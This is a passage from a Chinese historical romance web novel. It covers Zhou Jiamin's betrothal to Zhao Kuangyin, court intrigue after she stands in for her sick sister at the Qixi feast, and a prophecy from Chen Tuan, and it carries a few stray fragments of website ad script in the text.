礼佛的东西要提早准备,嘉敏又起的早,车马在天微微亮时就朝鸡鸣寺行去。 到了山寺门外,突然听到秋芙欢快的声音喊:“小姐,你快看!” 嘉敏诧异,掀起帘帐,见那山寺下的白玉石栏杆边倚着一个人,青衫落拓意态安闲,一双眼眸正瞧着她,唇角微微泛出一丝笑意。 嘉敏又惊又喜,下车朝他跑过去。 两个人什么也没有说,只是四目相对就好像说完了一切想说的话。 赵匡胤也并不想再遮掩什么,伸出手臂把嘉敏抱在怀里,柔声道:“嘉敏,我曾经答应过你,不管时间过去多久,都不会疼爱任何一个人超过疼爱你!这是一生的承诺,我不会忘记的!” 嘉敏在他怀里眨眨眼小声回应:“赵哥哥,我们去拜佛好不好?娘说鸡鸣寺的佛陀最灵了,只要许了愿就会实现。我……只愿以后都不会再和你分开!” 20.纤云弄巧 今日荷花生辰,采新莲敬奉佛前,听讲佛法。 诚心礼佛毕,两人从寺中走出来,到附近的玄武湖散步,连绵的水榭杨柳石桥亭台半数已聚集了消暑纳凉的人。 秋芙很是机灵,跑到不远处的八角凉亭里给游人分发些银两,空出地方来,二人方有机会互诉衷肠。 “昨夜接到锦书便不能成眠,只想赶来与你一会,把没说的话都说出来。”赵匡胤抚着她的秀发道:“嘉敏,自你幼时我们就已相识,那一年多朝夕不离,原本以为这段缘分也只是凭着一腔热血,对孤弱的你给予救助,事毕就散落天涯,相见无期。可那些年我独自一人落拓江湖,竟没有一日不在思念你,多想自己能够一直带着你,大哥哥小妹妹的,即使无家也似有家。后来你一年一年长大,有一天我突然惊觉到自己对你的情义已然发生了变化,我……竟不想……再做你的哥哥!我想……以后天天都和你在一起,朝朝暮暮再不分离!” 嘉敏轻抬首,如水的眼波撞上他深沉的眸子,幽幽道:“自打昨日听爹爹说了订亲之事以后,到如今还觉得像是在做梦一样。一天之内,我已经不再是你的小妹子,而是未过门的妻子。纵然还不大懂得如何做一个妻子,可总还有三年之期,大约慢慢学,也总学的会。” 赵匡胤摇头柔声道:“你不需要再学做什么了,这世间哪里还有女孩儿如你这般柔顺乖巧机敏可爱?我娶你,也并不是想你为我操劳家务生儿育女,只是想以后能让你永远如现在这般无忧无虑快活安静的度日。能这般相守一生,余愿足矣!所以,不要让自己那么辛苦,我会心疼。” 嘉敏红着脸轻颔首,低声道:“那这三年我会在家中为君缝衣制裳,春夏的长袍,秋冬的大氅,还有珠冠翠带锦靴文履,一年做两套,做满三年,随着嫁妆一起带入赵家。愿这一针一线可牵动神灵,护佑你我白头到老一世不离。” 赵匡胤抱她在怀,仰头叹息:“愿苍天垂怜,莫辜负你我这一世的深切情意。” 石守信和王审琦赶来,报告说前线有加急军务,要即刻回返,两人又匆匆离别。好在该说的话都已说完,只等时光暗度,它朝再聚首。 七月兰秋,八月南宫。 立秋前数日,罗云复叠,细雨廉纤,金风欲来,炎景将褪,梧桐满院,玉枕生凉。 立秋当日却打雷了,周宗放下手中的书卷眉头道:“‘秋縠碌,收秕谷。’立秋日雷鸣,主稻秀而不实,这江南的百姓今年怕是要遭殃了。”说罢咳嗽起来。 嘉敏将熬好的药送来书斋,正好听到他这番言语,规劝道:“爹爹你为朝廷社稷操劳大半辈子了,如今也该好好歇歇,安心把病养好,至于其它的就不要再多想了。” 听得女儿这般软语劝解,周宗心下一喜,抬手摸她的脸颊,端起药碗一饮而尽,又吃了一颗桂花糖,叹息道:“乖女儿,这些日子幸好爹爹身边还有你,想到以后要送你出阁,实在心有不舍。” 嘉敏脸颊绯红,小声道:“姐姐出阁之时年方十九,我也可以等到那时候再嫁。” 周宗却摇头道:“那怎么行?匡胤年纪已不轻,全是因为怜爱你稚弱,恐不舍得离开双亲,才定了三年之约,怎可让他再多等三年?在爹爹眼里,你和匡胤的婚事是最重要的,只要你嫁给了他,他这一世都会好好呵护你,到时候爹爹也就放心了。” 说到此处也不觉心酸,他这一生有三个子女,儿子周宏娶了公卿世家的嫡长女,虽说门当户对,二人脾性却不大合,日子过的鸡飞狗跳;大女儿娥皇嫁给了将来的国主,可福气太薄,幼子夭折,才子夫君又很是多情,这两年竟有半数时间缠绵病榻,也没个见好的时候;唯独小女儿的亲事十分满意,盼着自己在世的时候好好替她办了,心里总算是个安慰。 然而周夫人却十分不解为何丈夫如此看重赵匡胤,她刚从宫里回来,听了父女二人的对话,便站在门外发怔,直到嘉敏发现了她。 “娘,你回来的这般早,是不是姐姐大好了?”嘉敏开心地问。 周夫人回过神勉强笑道:“你姐姐是好些了,她还说想你七夕进宫去看她,所以我就早些回来了,想着帮你做些准备。” 这许多时日都未曾进宫探望姐姐,嘉敏不曾犹豫就点头了,可周宗却神色微妙,欲言而又止。 七夕节前街市上就有卖“巧果”的,嘉敏最是爱吃,那种用糖水和面绕成苎麻绳形状的点心,放进油锅里炸的酥脆,俗称“苎结”。想着宫里大概不会有这等吃食,就买了些打算带给姐姐。 周娥皇看了只是微笑,说自己倒是想尝尝,只是太医叮嘱她饮食清淡,这等油炸的食物已经许久不碰。 刚好李煜也在侧,随手拿了一个尝尝,点头道:“又甜又脆,倒是别有一番风味。今夜乞巧,不妨就置此巧果一盘,想那天上的牛郎和织女或许也爱此物!” 周娥皇掩嘴笑道:“明明是你自己贪嘴,倒推给了神仙。嘉敏带的不少,你喜欢的话装两盘回去慢慢吃。” 李煜听罢无奈起身道:“我知你们姐妹许久未见,大概是嫌我在这里碍眼,我这便走,你们好好说说话。嘉敏,晚上宫中开大宴,我担心娥皇身体不支,你留下来照顾她可好?” 嘉敏点头道:“姐夫放心,我自会守在姐姐身边照顾好她的。” 李煜笑道:“总归是亲姐妹教人放心些,那就拜托你了!” 待他走后周娥皇勉力笑道:“其实这次拜托母亲带你进宫,本意就是为了帮我。宫中盛传我已命不久矣,许多人觊觎中宫之位,闹得朝野不宁。母后娘娘甚为烦忧,这才想出开七夕大宴这个办法,命我着盛装带宫嫔和金陵贵女一起拜月乞巧,好平息谣言。” 此事嘉敏也略有耳闻,未免心疼姐姐病体沉疴却还要如此操劳,宽慰道:“姐姐吉人自有天相,定然不会有事的。” 周娥皇似乎已经没有力气再多说什么,其实这些年她的病情一直在加重,就算太医不向她吐露实情,自己心里也多半有数。念着父母已老,儿子年幼,不免心酸落泪。 左右宫婢皆悲戚,嘉敏也不知该如何安慰,侍奉完汤药看护她睡下才走出去散闷。 钟氏皇后对此次七夕夜宴尤为重视,宫人早早以青竹戴绿荷系于庭中当作承露盘。到了晚上,已婚夫妇会陈瓜果焚香跪拜于中庭,饮清露以证夙缘,望双星保佑夫妻和顺恩爱美满。 傍晚,周娥皇下床梳妆,她曾创高髻纤裳及首翘鬓朵之妆,风姿绰约婉丽端雅,为南朝宫人竞相效仿,今日也是做这等装扮。只是厚施脂粉亦无法遮掩病容,好在只是参加夜宴,想来旁人也不大瞧的出来。 梳妆毕,颤颤巍巍站起身,突然大口喘气,颤声道:“嘉敏……我……我不成了……”话音落一口鲜血喷出来,连衣襟也染红了。 “姐姐……”嘉敏花容失 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 色抱着她倒下的躯体大声哭喊:“姐姐,你不要吓我……” 好在母亲并李煜和钟皇后都等在寝房外的花厅里,听得声响全都进来了。 李煜慌忙把已昏迷的妻子抱到床上,命人快去传太医。 钟皇后面色一寒冷冷道:“且慢——” 众人吃惊不已,听她又屏退宫婢,缓缓道:“从嘉,你总该知道今夜七夕之宴的意图究竟是什么,如果此刻传出娥皇吐血病倒的消息,后果如何你能想象的到吗?” 见李煜恍然不知所措,嘉敏哭道:“皇后娘娘,姐姐已然如此,还顾得上什么七夕之宴,难道不是她的性命更重要么?” 钟皇后皱眉道:“嘉敏,你尚且年幼,对朝中之事茫然不知,哀家不怪你。可非是哀家不近人情,兹事体大,眼下必须先想办法解决夜宴的事才行!” 周夫人急道:“皇后娘娘,娥皇如今哪里还参加的了夜宴,求你不要再为难她了?” “娥皇自然是不成的!”钟皇后心思急转,突然看向嘉敏道:“眼下想要马上请太医来给娥皇诊治倒也不是没办法……” 李煜泣道:“母后,什么办法你快说呀,再晚一些我怕娥皇支撑不住。” 钟皇后沉声道:“哀家瞧着嘉敏的体态和模样都和娥皇有几分相像,若由她能扮成娥皇来参加夜宴,大约也可以以假乱真,那这场风波自然也就平息了。” 嘉敏怔然不语,和李煜面面相觑。 听皇后的意思乃是让嘉敏代替娥皇之意,而且这个“代替”会否演变成“取代”怕也难说,周夫人不禁也有些慌张,颤声道:“皇后娘娘,此事怕是……” 她想说“使不得”,钟皇后却凉凉瞥了她一眼,冷冷道:“此事非但关系到娥皇的性命,还有仲愚将来的储君之位能不能坐稳,本宫想周家不至于这般不识大体,你说是不是,周夫人?” 周夫人惊骇不已,可她也不得不承认皇后的深谋远虑,只得回头规劝嘉敏以大局为重,权且如此行事。 嘉敏无奈只得应许,初次扮起高髻纤裳及首翘鬓朵的妆容,只是她身量不足,尚且撑不起这宫装。 李煜瞧着她楚楚可怜的模样,遂小心陪在身侧,开宴时钟皇后特意将宫灯灭了数盏。虽有宫嫔盯着嘉敏的脸,觉得有些怪异,可看不真切,只得向同伴摇了摇头,示意并不确定。 依照钟皇后的指示,嘉敏足足在风露中坐了两个时辰,还饮下一些甘甜蜜酿,期间身体并无异样。 到后半夜,承露盘中已接了不少露水,钟皇后遂命宫人将荷叶取下来送到已婚夫妇手中,再由李煜和嘉敏带着众人跪于拜月台祭神明。 那荷叶盘中的露水是要夫妇二人一起喝的,嘉敏有些为难,可又不敢说什么,只是泪盈盈地低头。 李煜情知委屈了她,小声道:“嘉敏,今夜你只当自己是娥皇,若实在过意不去,事后姐夫再好好向你赔不是!” 嘉敏无言以对,此事她若不应下来,太医就无法前来救治姐姐。如今走到这般地步,隐隐觉得愧欠自己的赵哥哥。转念又想赵匡胤乃是个深明大义之人,大约也不会怪她,遂轻颔首。 两个人捧着那荷叶露盘凑到嘴边啜饮清露,余人皆随之。 待祭礼结束,返身回宫之时竟被宫人踩到了拖地的裙摆,嘉敏惊呼一声向后倾倒。 李煜慌忙伸出手臂去抱她,“嘉敏小心——” 21.飞星传恨 凉月如眉,河汉清浅。 正在二人惊魂未定之时,发现所有宫婢贵女的目光皆停在了嘉敏脸上,有人小声道:“不是周娘娘,是她胞妹周二小姐!” “怎么回事啊?太子妃娘娘呢?” “就是……这什么意思……” 钟皇后神色淡然,也不做任何解释,不耐烦地道:“夜已深,都散了吧!” 周夫人在一旁瞧的清楚,再则那踩倒嘉敏的宫人也正是皇后宫中的,只怕是得了旨意故意为之,想到这里不免心下直打鼓。 回头看嘉敏依旧一副茫然无措的样子,禁不住有些心疼,想着女儿天真无邪,又哪里知道接下来会发生什么?单只娥皇那一关怕都不好过,更何况她心里只有那个赵匡胤,只怕是死也不愿! 回到寝处,嘉敏难免心烦意乱,刚卸了妆李煜突然到访。 一个青年男子深更半夜闯入女子寝处,也没个阻拦之人,嘉敏慌张地躲起来,秋芙出面应对道:“太子殿下何故如此失仪,若是传扬出去,败坏了我家小姐的名节,如何使得?” 李煜急道:“我只是想来瞧一瞧嘉敏,方才之事让她受惊了,思来想去放心不下,所以才不顾礼仪跑过来。嘉敏,你出来见一见我可好?” 嘉敏躲在帘帐后瑟瑟发抖,颤声道:“姐夫,你请回吧!夜宴之事尚且未曾惊到我,可你若再不走,我可要吓死了。” 李煜还想闯进去见她,被秋芙勉力拦下呵斥道:“太子殿下,这皇宫是你家,自然是想去哪里去哪里,可我家小姐是你妻妹,你总该避嫌才是。再则此事让大小姐知道了,你又如何向她解释?” 想起病重的娥皇,李煜这才作罢,大声道:“嘉敏,我生性多情,虽说身边有不少宫嫔,可这些年也总是偏宠你姐姐多些。无奈娥皇红颜薄命,我与她大约是情深缘浅。今夜之事乃母后特意安排,她的心思我自然是明白的,而且也默许她这么做了。我来就是想告诉你不要害怕,将来我定不负你,定然会像宠爱娥皇一样宠爱你……不……我会宠爱你比宠爱娥皇更甚,你要相信我,好不好?” 这番话嘉敏半数听不明白,或许是只顾得紧张害怕,是以并不曾听在耳里。见他终于走了才松一口气,从帘帐后面出来。 秋芙却神色复杂,颤声道:“小姐,太子殿下刚才是不是在说要让你取代大小姐之位,做将来的皇后?” 嘉敏直吓的花容失色,连连后退跌坐在床上,喃喃道:“究竟是怎么回事?姐夫……想娶我?” 主仆二人彻夜难眠,黎明之前才迷迷糊糊睡了片刻,没多久就被周娥皇宫里的人叫醒,说是太子妃娘娘有请。 嘉敏来不及梳洗,只匆匆洗了把脸就过去了。 周娥皇一脸怒容,沉声问道:“听说昨夜是你代替我参加七夕夜宴,还和你姐夫共饮一片荷叶清露?” 嘉敏小声辩解道:“是皇后娘娘吩咐我这么做的……因为姐姐当时昏迷……” “住嘴!我周家累世公卿,家风雅正,究竟是怎么养出你这个不知廉耻的东西?我还没死呢,你就胆大妄为勾引姐夫,是想快些取代我么?”周娥皇怒火攻心,低下头一阵剧咳。 嘉敏尚自疑惑不解,宫婢秋心皱眉斥道:“二小姐,你不顾念姐妹之情也就罢了,这等事情怎可重复说与你姐姐听?” 嘉敏茫然失措,“我是怕姐姐误会,所以才想要解释……” “误会?”秋水冷笑,“现在整个皇宫的人都知道你想要取代大小姐做未来的皇后,还谈什么误会?” 嘉敏惊恐万状地摇头颤声道:“没有这回事!” “碧螺——”周娥皇头也不抬,将一个宫婢叫上前,冷冷道:“昨夜太子在二小姐房里说的话你可是记的一字不差?说给她听!” 那宫婢碧螺颤巍巍地磕头,而后果真把李煜的话一字不差复述下来。 说到“宠爱你比宠爱娥皇更甚”之时,周娥皇的眼神冷漠与怨毒交织在一起,冷笑道:“我的好妹妹,你果然是长大了,我可真是好奇,你究竟是什么时候瞧上你姐夫的?” 嘉敏摇头否认,哭着想要辩解,秋心瞧着她的模样厌恶地道:“太子自来风流多情,定是二小姐这等楚楚可怜的模样打动了他,二人才暗通款曲,背着大小姐行苟且之事!” “我没有——”嘉敏崩溃大哭,全然不知宫中的流言究竟传成了什么样子。 秋芙也吓的面如土色,颤声道:“秋心姐姐,我天天随侍在二小姐身边日夜不离,她与太子之间一清二白,你怎可这般辱她?”说罢又转头对周娥皇道:“太子妃娘娘,太子昨夜的确闯入了二小姐房中,可二小姐并未与他相见,更不存在苟且。那番话他也的确说过,可二小姐连听都没有听进去,她根本就不爱太子,你要怪也该怪自己的夫君多情才对,怎可这般斥责二小姐?” 周娥皇原是个端雅娴丽的女子,这些年也从未苛待过宫人,可也未有宫人如秋芙这般顶撞过她,一时气不过,怒道:“一个小小的奴婢而已,也敢这般出言无状。秋水,掌嘴——” 秋水暗惊,她本是秋芙堂姐,两人自小也甚亲厚,这些年随周娥皇进宫,主仆情分自然也不浅,可到如今才知道主仆永远是主仆,主人在下命令的时候大约也不会考虑仆人的难处。 她缓缓走上前,看着秋芙,片刻一巴掌狠狠打上去,秋芙的半边脸颊登时红肿,含泪看着堂姐不再言语。 嘉敏料想今日之事是解释不清楚了,抱着秋芙泣道:“姐姐,秋芙说的全都是实话,若你不信,妹妹也无话可说,烦请你不要再打她了,不能消气的话打我便是!” 周娥皇冷冷道:“她一个仆婢说话不知轻重也就罢了,你也一样糊涂么?太子怎会有错?就算他瞧上了你,也定是你在他面前献媚邀宠,才引他做出此等失仪之事。至于你,自认为还清白得了么?” 嘉敏惊骇,全然不解自己为何已不再清白,难道说男子闯女子寝室,也是女子之过吗?思虑片刻道:“我确实清白无辜!” “竟还不知错么?”周娥皇一脸厌倦之色,冷冷道:“现在大半个皇宫的人都在等我什么时候死,我也自知时日无多。只是待我死后,望你不要披麻戴孝出现在坟前,没得教我死了还要犯一通恶心!” 嘉敏难以置信地看着姐姐,想到以前的亲厚情谊,只觉心酸不已,若说她有什么错处,只怕也比不得姐姐这番话更教人伤心。她不再多说什么,哭着跑出去。 周夫人来看大女儿,正好撞见了此情形,想要去追嘉敏,又放不下娥皇,一跺脚禁不住数落大女儿道:“娥皇,昨夜之事乃是皇后一手安排,嘉敏明明是为了救你才勉强答应下来的,你怎可不分青红皂白,单凭几句流言就这般骂她?” 周娥皇惨然苦笑道:“娘,你也是觉得女儿快死了,才这般偏宠嘉敏的么?” “你这是什么话?”周夫人又是心痛又是无奈,将宫婢全都屏退,皱眉道:“要太子纳嘉敏为宠之事全然是皇后的主意,她那日对我说仲宣死的不明不白,难保不是遭了后宫的暗算,眼下太子仅剩仲愚一条血脉,无论如何也要保全他,那么将来立谁为后就不得不考量。” 周娥皇听罢不由打了个冷颤,泣道:“仲愚……仲愚……我死之后谁来保护我的仲愚?难道说……母后娘娘是因为这个才挑中嘉敏的?可周家女孩不少,为何一定要选嘉敏?” “周家女孩儿是不少,可从嘉是什么人你难道不了解么?”周夫人叹息道:“他生性多情,耳根 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子又软,你这些年虽说专宠后宫,他也还是纳了别人。抛开段贵妃不说,那个窅娘如若不是出身低贱,但凡她是世家女子,你认为从嘉不会抬举她么?她的品貌,周家除了嘉敏,可还有人压得住?” “窅娘……”周娥皇眉心紧蹙,露出些许痛苦之色。 后宫之中容貌能与她一较高下的,便只有这个窅娘。不过她是采莲女出身,又曾卖身酒楼为舞妓,是以太子虽纳她为宠,却不能给予正式名分。 若说得宠,自己长久卧病在床,花容憔悴,已有将近半年不曾侍奉过太子,又哪里敌得过她? 想到这些,周娥皇无可辩驳,登时沉默不语。 周夫人见说动了她,接着道:“你当初交代娘在堂妹中挑选一个女孩入宫来侍奉从嘉,娘就知道你是想着自家堂妹以后多半还能替你保护仲愚。可你想过没有,后娘就是后娘,等她将来有了自己的孩子,仲愚怕是就成了眼中钉,他的地位能安稳吗?” 周娥皇心越来越凉,闭目道:“所以只能是嘉敏么?她年纪小,就算将来为从嘉诞下子嗣,至少要过四五年,那时候仲愚也差不多大了,自有朝臣拥护,她的孩子便不足为惧!” 周夫人含泪点头,禁不住泣道:“果然你还是明白皇后娘娘的心思的!只是可怜了我的嘉敏,还只是个花骨朵,都没来得及长大,教我怎么忍心?” 周娥皇听的心烦,暗觉母亲有些偏心,冷哼道:“再怎么样她也是将来的皇后,难道还委屈了她不成?” 周夫人一怔,喃喃道:“这皇后嘉敏未必愿意当!娘告诉你实话吧,是从嘉喜欢嘉敏,而嘉敏喜欢的是赵匡胤。非但如此,你爹爹已经给他们订了亲,只待三年后完婚。她早已当自己是赵家的人,可全然没有觊觎你后位的意思,这么说可能教你放心?” 周娥皇初闻此事,脸色竟出奇的怪异,瞧不出是喜是忧。 其实这么多年来,她心里一直装着一个秘密,就是曾经偷偷爱慕过那个送嘉敏回来的北朝少年。那个英武俊朗肩头似乎能抗下整个天下的少年,他与李煜全然不同,却似乎更加容易令女子心动,只是没人知道这个。 “那赵匡胤爱她吗?”周娥皇失神地问。 “赵匡胤对嘉敏何止是爱,简直是捧在手心里!”周夫人感慨,“若非看在这一点上,我是无论如何也不会答应将嘉敏嫁给他的。” “从嘉爱她,赵匡胤也爱她,她命可真好!”自己动心过的两个男人竟都倾心于妹妹,周娥皇心如死灰闭目苦笑道:“我竟是一点也比不得她么?” 周夫人瞧着她神色哀伤,自是心疼不已,抚着她的肩膀安慰道:“娥皇,其实从嘉一直都很爱你,而嘉敏只不过是个尚未长大的小女孩儿,比不得你风华绝代仪态万方。这些事情你也别往心里去,反正她是不可能跟你抢从嘉的,你好好的把身体调养好,就什么也不会发生了,你说是不是?” 周娥皇贴着母亲的怀抱冷笑:“娘,你知道我这么多年在宫里都知道了什么吗?男人总是会贪恋女人的美色,可又总是无法护女人周全,越是貌美的女子越是没个好结果!嘉敏容色倾城,只怕将来下场比我还要凄惨百倍,你说这对她而言究竟是幸还是不幸?” “娥皇,你……”周夫人大惊失色,嗔道:“就算你心中有怨气,也不该如此咒你妹妹,若日后一语成谶,可如何是好?” 周娥皇不以为意,淡淡道:“你猜从嘉和赵匡胤谁能够得到嘉敏?一个北朝天将,一个江南国主,龙争虎斗,最终结果会不会是两败俱伤?” 此时的周府,周宗站在庭院中望着漫天的浓雾和隐约出现的白虹,神色凝重自言自语道:“白虹贯日,荆轲刺于秦,此乃大凶之兆!难道说是我江南国主有难?” 22.银汉迢迢 在浓雾中奔跑了许久的嘉敏终于停下来,抱着湖边的柳树大声哭泣。 秋芙追上来疼惜地道:“小姐,大小姐只是一时愤慨,说些气话而已,你可千万不要放在心上。” 嘉敏伤心道:“我不怪姐姐伤我,只是眼下宫中流言甚巨,且不论我一个尚未出阁的女子处境如何,倘若给赵哥哥听了去,不知他又会作何感想?” “小姐若是担心赵公子会因此而误会,我想大可不必!”秋芙柔声规劝:“赵公子为人如何只怕小姐比谁都清楚,他岂是那种轻信流言之人?怕是知道以后只会心疼小姐,恨不得插翅飞到你身边来,好好的安慰你,好教你不再这般伤心哭泣!” 嘉敏擦干眼泪,哽咽道:“你说的对,赵哥哥从不教我受委屈的!” “小姐,眼下之事颇为棘手,倘若太子真的要纳你入宫,那岂不是毁了你和赵公子的姻缘?”秋芙提醒,见她一脸惊恐之色六神无主,慌忙道:“依奴婢看,小姐你不妨现在回去写信把宫里发生的事情一五一十告诉赵公子,他是你未来的夫君,自当为你拿主意,如此可好?” 嘉敏点头不止,当下和秋芙匆匆出宫,回到家中就开始伏案写信,泪痕滴落纸上,将几个墨字洇的模糊不清。 周宗听说女儿一大早红着眼睛跑回来,心下暗觉不妙,前来探望,正好碰见秋芙拿着书信走出来,随口问道:“这是给谁的信?” 秋芙想着老爷素来疼爱二小姐,犹疑片刻,将宫中发生之事尽数讲出来。 周宗面色凝重道:“昨日收到宏儿的书信,说匡胤如今在扬州盘桓,似是周主有意命他攻打江南。信就送去大少爷那里吧,再由他交给匡胤,大约不出两日就有回音。” 秋芙照做,还用银钱打赏了送信的小厮,嘱咐他越快送到越好。 周夫人晚些回来,谈及两个女儿的状况不免心酸落泪:“今日皇后召我去寝宫,有太医在侧,竟直接对我说娥皇怕是不成了……” 周宗听罢也自老泪纵横,抱着夫人默然无言。 “皇后想让嘉敏进宫,取代娥皇!”周夫人沉声道:“她还说不如此做的话,后宫难定,仲愚之位危矣!” 周宗叹息道:“夫人,我已选了匡胤做女婿,此事是不会更改的。皇后乃是为了自己儿子的后宫稳固才执意要嘉敏,难道我们就不能为自己的女儿考虑吗?嘉敏自小就认定了匡胤,你难道忍心将他们拆散?” “可皇后……”周夫人还想辩解,被丈夫挥手打断,当下也不便再多说。 其实钟皇后对她恩威并施,明里暗里告诉她如若此事不成,周夫人以后将无法在金陵贵妇中立足,大约只能回扬州老家凄惨度日孤独终老。 过了两日,周宗带嘉敏去鸡鸣寺礼佛,在僻静的禅院里,赵匡胤已经等候多时。 两人甫一见面,嘉敏就泣不成声,在她的思绪里还不如何担心姐夫要娶自己,反倒是姐姐的话令她伤神不已。 赵匡胤将她抱在怀里安慰,柔声道:“嘉敏,别难过了!你姐姐斥责你也并非全然是因为流言之故,她重病沉疴,心绪不佳,说的也都是气话,自然是当不得真的。” 嘉敏楚楚可怜地点头,听他叹息道:“昨晚我已与岳父商量不再守什么三年之约,尽快挑个日子让我们完婚,以免夜长梦多。” 嘉敏的脸登时红了,半晌说不出话,若说她已做好为人妇的准备,大约是不准确的。 赵匡胤明白她的疑虑,缓缓道:“我都想好了,成婚以后先将你带去绛州的姑母家,由姑母代为照顾,待你过了及笄之年再行夫妻之礼,你看可好?” 嘉敏低眉垂首小声道:“婚嫁之事自然是由爹爹和你拿主意,我听话便是!” 两人只小聚了一会儿,周宗便来了,竟也不多寒暄,直接道:“匡胤,我刚去合了你和嘉敏的生辰八字,下个月初六乃是黄道吉日,宜婚嫁,你和嘉敏的婚事干脆就定在那一天好了。” 赵匡胤轻皱眉道:“岳父,下个月初六,距离现在只有十天,我怕是难以准备万全。” 周宗摆手道:“我知道你的疑虑,眼下是非常时期,顾不得许多。我已吩咐宏儿将扬州的老宅收拾一番当作婚房之用,婚仪之事一切从简。只有你尽快将嘉敏娶走,此事方可告一段落。否则等到中秋宫宴,皇后再召嘉敏入宫,还出不出得来就难说了。” 赵匡胤想来不错,拱手道:“匡胤谢过岳父!欠嘉敏和周家的日后自然补上。” 刚这般急急忙忙说定,小厮就来禀报说皇后和太子来进香,听说周大人和二小姐也在这里,特来宣旨一见。 嘉敏登时慌了神,周宗镇定道:“匡胤,你快走吧!这里的事我还应付得了,不会让嘉敏吃亏!” 赵匡胤无奈,将嘉敏抱在怀里安慰道:“不要害怕,我很快会来带你走!” 嘉敏强自镇定地点头,在周宗的催促下和他分开,待他走后父女二人这才去面见皇后和太子。 皇后选的禅房竟与他们相距不远,周宗面不改色地带着嘉敏一起觐见。 钟皇后笑容可掬地道:“周大人今日进香怎地没带夫人来?” “今日是带小女来散闷,故而不曾携夫人一同前来。”周宗冷淡的语气中暗含着些许不满。 想来钟皇后也是听明白了,低头喝了一口茶水浅笑道:“哦,是嘉敏不开心么?” 周宗皱眉道:“倒也没什么,只是宫里传出了些不太好的流言,嘉敏不知道如何招架,所以这几日总是闷着。我好不容易才哄了她出门,没想到竟又碰见了太子!” 李煜听了此话难免心下愧疚,满眼歉意地看向嘉敏,却见她一直低着头,一副柔态不胜娇的模样,很是惹人怜。 钟皇后瞥了儿子一眼,知道他急着和嘉敏说话,只得又对周宗笑道:“流言之事哀家也听了些,的确是从嘉思虑不周,惹得嘉敏被人耻笑,又被娥皇怨怼,今日带他来就是向嘉敏赔不是的。从嘉,你有什么话就快说吧!” 李煜上前两步,嘉敏不自觉后退,他只好止住,柔声道:“嘉敏,那天晚上是我唐突,教你受惊。你这几日可好?” 周宗把女儿护在身后,怒道:“嘉敏好不好,太子长着眼睛不会自己看么?不知你出宫来见嘉敏,娥皇是否知道?” 李煜当下面红耳赤,情知自己对嘉敏的那些心思逃不过他的法眼,只好强自应对道:“回岳父的话,是娥皇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 劝我来看嘉敏的!因为我的过失,她对嘉敏多有斥责,而今已有些后悔,才特意嘱咐我好好的安慰嘉敏,让她不要再伤心难过。” 听见姐姐似乎已原谅了自己,嘉敏诧异地抬首,正撞上李煜如蜜糖一样黏在她身上的目光,惊慌之下再次垂下头。 周宗淡淡道:“此事嘉敏原无过错,完全是无妄之灾。再则,我嫁女十载,纵然娥皇此刻性命垂危,总归还是个活人,太子殿下,你说是不是?” 李煜被他面刺,黯然点头。 他的确不应该在妻子尚且活着的时候就对小姨妹心生喜欢,可他自青年时便是个多情才子,加上生在皇家,本也没有节制情感一说,加上母亲推波助澜,这才行为失当,愧对妻子,也惹的岳父不快。 周宗见他面有愧色,也不好过度指责,语气渐变柔缓:“殿下,娥皇这些年在宫中蒙你恩宠,也过了许多年快活的日子,她红颜薄命,怨不得人。只是有些事情总要等她身故以后再做安排,不然非但寒了她的心,也让我们这些还要继续活下去的人背负一辈子的罪孽,不知太子意下如何?” 李煜惨然垂首,竟泪落不止。 钟皇后心疼儿子,忙道:“从嘉,你岳父教训的是,我们还是先回宫看看娥皇吧!你已向嘉敏道过歉了,想来她也原谅你了。嘉敏,对不对?” 嘉敏纵然心下并不情愿,可也不敢驳皇后的面子,只好轻轻点头,小声道:“盼姐夫回宫以后能多照顾姐姐,她待你情深意重,切不可辜负了她。” 此话全然是出自真心,听在李煜耳里却好像是赌气的言语,他深深看了嘉敏一眼,才随母亲离去。 钟皇后知儿子愁思,出了寺门就安慰他道:“嘉敏顾念姐妹之情,心有疑虑也在情理之中,你莫要伤怀。再过半月就是中秋宫宴,母后命周夫人带她入宫来与你一会,到时候有什么话你再好好与她说!” “多谢母后!”李煜心想大约也只有如此了。 荷月已过,空气中弥漫着一股桂花香。中秋宫宴,那也没几天了。 因婚嫁在即,嘉敏也来不及过多做准备,只是将绣了一半的腰带拿出来仔细绣完,夜间放在枕边入睡。 不知睡了多久,忽被人叫醒。 来人童颜鹤发,笑呵呵道:“周二小姐,好久不见!” “陈抟老神仙——”嘉敏笑靥如花从床上坐起来,丝毫没有察觉此老叟半夜闯入了她的闺房。 “夜里凉意重,便不要下床了,我有些要紧的话说与你听,只盼你听了以后不要过于激动。”陈抟老祖露出少有的一副正经面孔,言语之间颇有些不同寻常。 嘉敏对陈抟老祖有一种莫名其妙的信任,幽幽道:“老神仙,你有话直说,我都听你的。” 陈抟老祖颔首道:“二小姐可还记得小时候听过的应龙真君和红莲公主的故事?” “记得!”嘉敏点头,“你还说赵哥哥是应龙真君下凡,为平天下之战祸而来。” “不错!应龙真君乃是天神转世,而二小姐你就是他的仙侣红莲公主。你们注定此生会有一段夫妻之缘,只不过不是现在!”陈抟老祖皱眉,“若你想这个时候嫁给他,怕是会招致大祸!” 23.柔情似水 秋静月闲,云自开,花自落,黄雪满阶,愁煞闺中女儿。 若非对方是陈抟老神仙,嘉敏此刻已将其赶出房门,如今只是愕然问道:“为何?” 陈抟老祖禁不住叹息起来:“此乃真君殿下在飞升神位之前的一段天界夙愿所至!但凡仙人飞升,每隔万年必遭雷劫。当年应龙真君飞升之际,三界间阴煞聚集前来阻挠。后来他挨过雷击,又灭了阴煞,却倒在了地狱的入口三千弱水界。那弱水鸿毛不浮,飞鸟难渡,原本他若沉入其中,必死无疑。所幸那弱水娘娘不忍他就此陨落,耗损神力将他托在水面上漂浮了上百年,直到他伤势恢复苏醒过来。” 嘉敏暗觉欢喜,笑道:“这故事好耳熟啊!” “不错,红莲公主你不也是如此与真君结缘的么?那弱水娘娘若非动了心,又怎会襄助于他?”陈抟老祖抚髯道:“故而在真君飞升神界以后,天帝就替弱水娘娘做媒,好成全她的心愿。” “啊?”嘉敏大惊失色,“后来呢?真君娶了弱水娘娘么?” 